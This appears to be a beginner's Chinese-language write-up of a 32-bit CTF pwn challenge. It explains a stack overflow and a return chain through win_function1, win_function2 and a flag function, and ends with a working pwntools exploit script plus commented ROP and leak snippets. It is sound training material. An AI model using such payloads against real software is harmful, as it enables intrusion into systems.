小白垃圾笔记,不建议阅读。
这道题目其实我是瞎做的.
本地调试需要写一个文件名为flag.txt的文件。
先检查下保护:(我把文件名改成pwn了),32位仅仅开启了nx
然后放到32位ida里:
main函数如下:
调用了vuln:存在溢出点。
gdb中调试发现0x18个后边是ebp再往后是返回地址。
那么就利用这里的溢出。
查看又没sys啥的:
flag.txt???
查看下引用:flag函数:新天地。
他会将flag读入如果win1不为0且win2不为0并且a1=-559……
记得之前做过一个题目就是比较的。当时直接看16进制:
所以这道题比较的是0DEADBAAD 一会参数设置为这个就好
对于win1和win2的话:
有两个函数:
win_function1比较简单:仅此而已。
至于win_function2嘛:
也还行吧:也是比较,参数传入为:我感觉这道题目就是考察参数传递的。对于函数的调用过程需要熟练。
我们的目的是使得win1不为0,win2不为0,且调用flag的时候a1参数是0BAAAAAAD
那么好了主要就是payload:
先是溢出:
b'a'*(0x18+4) #4是覆盖ebp
然后是win1=1的地址
他的第一个参数是返回地址:也就是win2
然后win2是有两个参数的第一个依旧是返回地址我们写flag的地址,第二个是a1这里是比较的数据
最后对于flag的返回地址我们已经设置成了p32(0x0BAAAAAAD)。不过我们已经不需要他返回去哪里了。我们只关心它的参数时另一个比较的值。
payload=b'a'*(0x18+4) #4是覆盖ebp
payload+=p32(set_win1_addr) #vuln的返回地址设置成win1
payload+=p32(set_win2_addr) #win1的返回地址设置成win2
payload+=p32(flag_addr) #win2的返回地址设置为flag的地址
payload+=p32(0x0BAAAAAAD) #win2的第一个参数(同时也是flag的返回地址、不过已经不重要)
payload+=p32(0x0DEADBAAD)) #flag的第二个参数
上边只是我的猜想而已。对于新的想法我在ida中查看
对于比较的内容:
s好像是ebp(chat说是字符串)
r是返回地址(ret)
然后好像是第一个参数。
感觉从这里也可以知道哪里覆盖什么。
没办法不明白的还有很多,菜是原罪。
from pwn import *
debug=0
if debug:
p=process('./pwn')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('node4.buuoj.cn',25415)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
flag_addr=0x0804862B
set_win1_addr=0x080485CB
set_win2_addr=0x080485D8
a1=-1163220307
win1_addr=0x0804A041
ru(b'input>')
se(b'a'*(0x18+4)+p32(set_win1_addr)+p32(set_win2_addr)+p32(flag_addr)+p32(0x0BAAAAAAD)+p32(0x0DEADBAAD))
p.interactive()
#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#write_add=u32(p.recv(4))
#addr=u32(r.recvuntil('\xf7')[-4:])
#puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#sa(b'wish!\n', b'%11$p')
#rl(b'0x')
#canary = int(p.recv(16), 16)
#next(libc.search(b'/bin/sh\x00'))
#p=gdb.debug("./ciscn_2019_es_2","break main")